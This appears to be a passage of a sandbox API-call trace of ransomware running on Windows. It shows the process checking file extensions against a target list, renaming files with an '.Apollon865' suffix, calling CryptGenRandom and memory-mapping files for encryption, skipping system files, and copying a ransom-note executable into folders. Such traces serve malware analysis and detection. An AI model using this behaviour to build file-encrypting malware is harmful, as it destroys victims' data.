	[0054.531] lstrcmpiW (lpString1="B38A6EB92015", lpString2="flexolibrary") returned -1
	[0054.531] lstrlenW (lpString="fm5") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fm5") returned -1
	[0054.531] lstrlenW (lpString="fmp") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fmp") returned -1
	[0054.531] lstrlenW (lpString="fmp12") returned 5
	[0054.531] lstrcmpiW (lpString1="92015", lpString2="fmp12") returned -1
	[0054.531] lstrlenW (lpString="fmpsl") returned 5
	[0054.531] lstrcmpiW (lpString1="92015", lpString2="fmpsl") returned -1
	[0054.531] lstrlenW (lpString="fol") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fol") returned -1
	[0054.531] lstrlenW (lpString="fp3") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fp3") returned -1
	[0054.531] lstrlenW (lpString="fp4") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fp4") returned -1
	[0054.531] lstrlenW (lpString="fp5") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fp5") returned -1
	[0054.531] lstrlenW (lpString="fp7") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fp7") returned -1
	[0054.531] lstrlenW (lpString="fpt") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fpt") returned -1
	[0054.531] lstrlenW (lpString="frm") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="frm") returned -1
	[0054.531] lstrlenW (lpString="gdb") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="gdb") returned -1
	[0054.531] lstrlenW (lpString="gdb") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="gdb") returned -1
	[0054.532] lstrlenW (lpString="grdb") returned 4
	[0054.532] lstrcmpiW (lpString1="2015", lpString2="grdb") returned -1
	[0054.532] lstrlenW (lpString="gwi") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="gwi") returned -1
	[0054.532] lstrlenW (lpString="hdb") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="hdb") returned -1
	[0054.532] lstrlenW (lpString="his") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="his") returned -1
	[0054.532] lstrlenW (lpString="ib") returned 2
	[0054.532] lstrcmpiW (lpString1="15", lpString2="ib") returned -1
	[0054.532] lstrlenW (lpString="idb") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="idb") returned -1
	[0054.532] lstrlenW (lpString="ihx") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="ihx") returned -1
	[0054.532] lstrlenW (lpString="itdb") returned 4
	[0054.532] lstrcmpiW (lpString1="2015", lpString2="itdb") returned -1
	[0054.532] lstrlenW (lpString="itw") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="itw") returned -1
	[0054.532] lstrlenW (lpString="jet") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="jet") returned -1
	[0054.532] lstrlenW (lpString="jtx") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="jtx") returned -1
	[0054.532] lstrlenW (lpString="kdb") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="kdb") returned -1
	[0054.532] lstrlenW (lpString="kexi") returned 4
	[0054.532] lstrcmpiW (lpString1="2015", lpString2="kexi") returned -1
	[0054.532] lstrlenW (lpString="kexic") returned 5
	[0054.532] lstrcmpiW (lpString1="92015", lpString2="kexic") returned -1
	[0054.532] lstrlenW (lpString="kexis") returned 5
	[0054.532] lstrcmpiW (lpString1="92015", lpString2="kexis") returned -1
	[0054.532] lstrlenW (lpString="lgc") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="lgc") returned -1
	[0054.532] lstrlenW (lpString="lwx") returned 3
	[0054.532] lstrcmpiW (lpString1="015", lpString2="lwx") returned -1
	[0054.533] lstrlenW (lpString="maf") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="maf") returned -1
	[0054.533] lstrlenW (lpString="maq") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="maq") returned -1
	[0054.533] lstrlenW (lpString="mar") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mar") returned -1
	[0054.533] lstrlenW (lpString="marshal") returned 7
	[0054.533] lstrcmpiW (lpString1="EB92015", lpString2="marshal") returned -1
	[0054.533] lstrlenW (lpString="mas") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mas") returned -1
	[0054.533] lstrlenW (lpString="mav") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mav") returned -1
	[0054.533] lstrlenW (lpString="maw") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="maw") returned -1
	[0054.533] lstrlenW (lpString="mdbhtml") returned 7
	[0054.533] lstrcmpiW (lpString1="EB92015", lpString2="mdbhtml") returned -1
	[0054.533] lstrlenW (lpString="mdn") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mdn") returned -1
	[0054.533] lstrlenW (lpString="mdt") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mdt") returned -1
	[0054.533] lstrlenW (lpString="mfd") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mfd") returned -1
	[0054.533] lstrlenW (lpString="mpd") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mpd") returned -1
	[0054.533] lstrlenW (lpString="mrg") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mrg") returned -1
	[0054.533] lstrlenW (lpString="mud") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mud") returned -1
	[0054.533] lstrlenW (lpString="mwb") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="mwb") returned -1
	[0054.533] lstrlenW (lpString="myd") returned 3
	[0054.533] lstrcmpiW (lpString1="015", lpString2="myd") returned -1
	[0054.533] lstrlenW (lpString="ndf") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="ndf") returned -1
	[0054.534] lstrlenW (lpString="nnt") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="nnt") returned -1
	[0054.534] lstrlenW (lpString="nrmlib") returned 6
	[0054.534] lstrcmpiW (lpString1="B92015", lpString2="nrmlib") returned -1
	[0054.534] lstrlenW (lpString="ns2") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="ns2") returned -1
	[0054.534] lstrlenW (lpString="ns3") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="ns3") returned -1
	[0054.534] lstrlenW (lpString="ns4") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="ns4") returned -1
	[0054.534] lstrlenW (lpString="nsf") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="nsf") returned -1
	[0054.534] lstrlenW (lpString="nv") returned 2
	[0054.534] lstrcmpiW (lpString1="15", lpString2="nv") returned -1
	[0054.534] lstrlenW (lpString="nv2") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="nv2") returned -1
	[0054.534] lstrlenW (lpString="nwdb") returned 4
	[0054.534] lstrcmpiW (lpString1="2015", lpString2="nwdb") returned -1
	[0054.534] lstrlenW (lpString="nyf") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="nyf") returned -1
	[0054.534] lstrlenW (lpString="odb") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="odb") returned -1
	[0054.534] lstrlenW (lpString="odb") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="odb") returned -1
	[0054.534] lstrlenW (lpString="oqy") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="oqy") returned -1
	[0054.534] lstrlenW (lpString="ora") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="ora") returned -1
	[0054.534] lstrlenW (lpString="orx") returned 3
	[0054.534] lstrcmpiW (lpString1="015", lpString2="orx") returned -1
	[0054.534] lstrlenW (lpString="owc") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="owc") returned -1
	[0054.535] lstrlenW (lpString="p96") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="p96") returned -1
	[0054.535] lstrlenW (lpString="p97") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="p97") returned -1
	[0054.535] lstrlenW (lpString="pan") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="pan") returned -1
	[0054.535] lstrlenW (lpString="pdb") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="pdb") returned -1
	[0054.535] lstrlenW (lpString="pdm") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="pdm") returned -1
	[0054.535] lstrlenW (lpString="pnz") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="pnz") returned -1
	[0054.535] lstrlenW (lpString="qry") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="qry") returned -1
	[0054.535] lstrlenW (lpString="qvd") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="qvd") returned -1
	[0054.535] lstrlenW (lpString="rbf") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="rbf") returned -1
	[0054.535] lstrlenW (lpString="rctd") returned 4
	[0054.535] lstrcmpiW (lpString1="2015", lpString2="rctd") returned -1
	[0054.535] lstrlenW (lpString="rod") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="rod") returned -1
	[0054.535] lstrlenW (lpString="rodx") returned 4
	[0054.535] lstrcmpiW (lpString1="2015", lpString2="rodx") returned -1
	[0054.535] lstrlenW (lpString="rpd") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="rpd") returned -1
	[0054.535] lstrlenW (lpString="rsd") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="rsd") returned -1
	[0054.535] lstrlenW (lpString="sas7bdat") returned 8
	[0054.535] lstrcmpiW (lpString1="6EB92015", lpString2="sas7bdat") returned -1
	[0054.535] lstrlenW (lpString="sbf") returned 3
	[0054.535] lstrcmpiW (lpString1="015", lpString2="sbf") returned -1
	[0054.535] lstrlenW (lpString="scx") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="scx") returned -1
	[0054.536] lstrlenW (lpString="sdb") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="sdb") returned -1
	[0054.536] lstrlenW (lpString="sdc") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="sdc") returned -1
	[0054.536] lstrlenW (lpString="sdf") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="sdf") returned -1
	[0054.536] lstrlenW (lpString="sis") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="sis") returned -1
	[0054.536] lstrlenW (lpString="spq") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="spq") returned -1
	[0054.536] lstrlenW (lpString="te") returned 2
	[0054.536] lstrcmpiW (lpString1="15", lpString2="te") returned -1
	[0054.536] lstrlenW (lpString="teacher") returned 7
	[0054.536] lstrcmpiW (lpString1="EB92015", lpString2="teacher") returned -1
	[0054.536] lstrlenW (lpString="tmd") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="tmd") returned -1
	[0054.536] lstrlenW (lpString="tps") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="tps") returned -1
	[0054.536] lstrlenW (lpString="trc") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="trc") returned -1
	[0054.536] lstrlenW (lpString="trc") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="trc") returned -1
	[0054.536] lstrlenW (lpString="trm") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="trm") returned -1
	[0054.536] lstrlenW (lpString="udb") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="udb") returned -1
	[0054.536] lstrlenW (lpString="udl") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="udl") returned -1
	[0054.536] lstrlenW (lpString="usr") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="usr") returned -1
	[0054.536] lstrlenW (lpString="v12") returned 3
	[0054.536] lstrcmpiW (lpString1="015", lpString2="v12") returned -1
	[0054.536] lstrlenW (lpString="vis") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="vis") returned -1
	[0054.537] lstrlenW (lpString="vpd") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="vpd") returned -1
	[0054.537] lstrlenW (lpString="vvv") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="vvv") returned -1
	[0054.537] lstrlenW (lpString="wdb") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="wdb") returned -1
	[0054.537] lstrlenW (lpString="wmdb") returned 4
	[0054.537] lstrcmpiW (lpString1="2015", lpString2="wmdb") returned -1
	[0054.537] lstrlenW (lpString="wrk") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="wrk") returned -1
	[0054.537] lstrlenW (lpString="xdb") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="xdb") returned -1
	[0054.537] lstrlenW (lpString="xld") returned 3
	[0054.537] lstrcmpiW (lpString1="015", lpString2="xld") returned -1
	[0054.537] lstrlenW (lpString="xmlff") returned 5
	[0054.537] lstrcmpiW (lpString1="92015", lpString2="xmlff") returned -1
	[0054.537] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.Apollon865") returned 113
	[0054.537] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015.apollon865"), dwFlags=0x1) returned 1
	[0054.538] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.538] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=304) returned 1
	[0054.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0054.539] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.539] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0054.539] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.539] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.540] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x430, lpName=0x0) returned 0x118
	[0054.553] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x430) returned 0x100000
	[0054.557] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.557] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.557] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.558] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.558] CloseHandle (hObject=0x118) returned 1
	[0054.558] CloseHandle (hObject=0x150) returned 1
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.559] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e601530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.559] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.559] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e601530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.559] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.559] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0054.559] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0054.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0054.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0054.559] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 68
	[0054.559] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0054.559] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.559] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.559] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.560] GetLastError () returned 0x0
	[0054.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.560] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.560] CloseHandle (hObject=0x14c) returned 1
	[0054.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.560] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.560] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.560] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
	[0054.560] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.560] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="Apollon865.txt.exe") returned -1
	[0054.560] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".") returned 1
	[0054.560] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="..") returned 1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="windows") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="bootmgr") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="temp") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="pagefile.sys") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="boot") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="ids.txt") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="ntuser.dat") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="perflogs") returned -1
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="MSBuild") returned -1
	[0054.561] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.561] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*") returned 70
	[0054.561] lstrcpyW (in: lpString1=0x119e692, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0054.561] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.561] lstrlenW (lpString="Apollon865") returned 10
	[0054.561] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0054.561] lstrlenW (lpString=".dll") returned 4
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".dll") returned 1
	[0054.561] lstrlenW (lpString=".lnk") returned 4
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".lnk") returned 1
	[0054.561] lstrlenW (lpString=".ini") returned 4
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".ini") returned 1
	[0054.561] lstrlenW (lpString=".sys") returned 4
	[0054.561] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".sys") returned 1
	[0054.561] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.561] lstrlenW (lpString="bak") returned 3
	[0054.561] lstrcmpiW (lpString1="EC9", lpString2="bak") returned 1
	[0054.561] lstrlenW (lpString="ba_") returned 3
	[0054.561] lstrcmpiW (lpString1="EC9", lpString2="ba_") returned 1
	[0054.561] lstrlenW (lpString="dbb") returned 3
	[0054.561] lstrcmpiW (lpString1="EC9", lpString2="dbb") returned 1
	[0054.561] lstrlenW (lpString="vmdk") returned 4
	[0054.561] lstrcmpiW (lpString1="5EC9", lpString2="vmdk") returned -1
	[0054.561] lstrlenW (lpString="rar") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="rar") returned -1
	[0054.562] lstrlenW (lpString="zip") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="zip") returned -1
	[0054.562] lstrlenW (lpString="tgz") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="tgz") returned -1
	[0054.562] lstrlenW (lpString="vbox") returned 4
	[0054.562] lstrcmpiW (lpString1="5EC9", lpString2="vbox") returned -1
